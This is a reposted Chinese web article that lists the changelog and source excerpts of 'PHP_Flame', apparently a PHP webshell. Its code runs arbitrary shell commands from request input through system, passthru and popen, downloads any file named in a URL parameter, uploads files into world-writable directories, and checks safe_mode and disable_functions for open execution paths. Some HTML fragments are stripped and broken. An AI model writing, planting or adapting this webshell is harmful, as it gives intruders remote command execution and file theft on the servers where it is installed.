欢迎来到福编程网,本站提供各种互联网专业知识!

PHP_Flame(Version:Progress)的原代码

发布时间:2006-10-09 作者: 来源:转载
IPHP_Flame(Version:Progress)的一些信息:*修正了无法下载文件的BUG*修正了无法返回上级的BUG*修正了代码编辑出现错误的BUG......*增加PHPINFO的功能*增加多文件下载的功能*增加执行系统命令的功能*增加代码查看功能*增加服务器安全探测功能.......*还有许多

I PHP_Flame (Version: Progress ) 的一些信息:

*修正了无法下载文件的BUG

*修正了无法返回上级的BUG

*修正了代码编辑出现错误的BUG

......

*增加PHPINFO的功能

*增加多文件下载的功能

*增加执行系统命令的功能

*增加代码查看功能

*增加服务器安全探测功能

.......

*还有许多美化工作。。。。。。 相关的资料:

1。修正了无法返回上级的BUG的代码:

echo "返回上级";

2。修正了无法下载文件的相关代码:

case "download":

if (!@is_file($_GET['file_name']))

echo"你要下的文件不存在";

$filename = basename($_GET['file_name']);

$filename_info = explode('.', $filename);

$fileext = $filename_info[count($filename_info)-1];

header('Content-type: application/x-'.$fileext);

header('Content-Disposition: attachment; filename='.$filename);

header('Content-Description: PHP3 Generated Data');

readfile($_GET['file_name']);

break;

3。增加代码查看功能

文件代码

4。修正了代码编辑出现错误的代码:

$tem= str_replace("/textarea>","//textarea>",$tem);

。。。。。

$tem= str_replace("//textarea>","/textarea>",$tem);

5。增加服务器安全探测功能:

if (get_cfg_var("safe_mode"))echo"on

";else echo"off

";

echo "* disable_functions:";$dis_func=get_cfg_var("disable_functions");

if ($dis_func=="")

{

echo("no value");

}

else

{

$dis_func=str_replace(" ","

",$dis_func);

$dis_func=str_replace(",","

",$dis_func);

echo("$dis_func");

}

6。执行系统命令部分的代码:

if ($actionaa=="cmd") { ?>

<select name="method">

if (!$method) { $method="system"; }

if (!$cmd) {

echo "* JSW'S PHP FLAME

";

echo "* Author: JSW

";

echo "* safe_mode:";if (get_cfg_var("safe_mode"))echo"on

";else echo"off

";

echo "* disable_functions:";$dis_func=get_cfg_var("disable_functions");

if ($dis_func=="")

{

echo("no value");

}

else

{

$dis_func=str_replace(" ","

",$dis_func);

$dis_func=str_replace(",","

",$dis_func);

echo("$dis_func");

}

echo "

* Now please choose a function and enter the command......";

}

echo "

"; 

if ($method=="system") {

system("$cmd 2>&1");

}

if ($method=="passthru") {

passthru("$cmd 2>&1");

}

if ($method=="opendir") {

$h=opendir($cmd);

while($file=readdir($h)) {

echo "$filen";

}

}

if ($method=="show_source") {

if (show_source($cmd)) {

//echo "

"; 

//echo show_source($file);

//echo "

";

} else {

echo "";

}

}

if ($method=="popen") {

$pp = popen('$cmd 2>&1', 'r');

$read = fread($pp, 2096);

echo $read;

pclose($pp);

}

echo "

";

exit;

}

?>

7。增加文件上载的代码:

if($dir=="")

$dir="./";

?>

if($tools==upload)

{

for($i=1;$i<21;$i++)

{

$temp1="userfile".$i;

$temp2="userfile".$i."_name";

$source=$$temp1;

$source_name=$$temp2;

if(@$source!="")

{

@$v=file_exists($filedir);

if(!$v)

{

mkdir(@$filedir,0777);

}

@chmod($filedir,0777);

if(file_exists("$filedir/$source_name")=="1")

{

if($up_flag=="y")

{

@unlink($filedir/$source_name);

@copy($source,"$filedir/$source_name");

echo $source_name."已覆盖上传

";

}

else

echo $source_name."请重新上传!

";

}

else

{

@copy($source,"$filedir/$source_name");

echo $source_name."已上传

";

}

}

}//end for

echo"

JSW'S PHP FLAME

  • 1.指定上传目录(默认为本程序所在目录)

  • 2.需要上传的个数(建议最大值 20)

  • 3.全部文件都覆盖上传:

  • 您的文件将被上传到: $dir

    返回PHP_Flame

    文件1:

    ";

    exit;}

    ?>

    。。。。。。

    最后指明的是,这个PHP程序是在安然的PHP Command的基础上编写的,在此表示感谢,完整代码: http://jsw.china12e.com/jswsoft/show.php

    相关推荐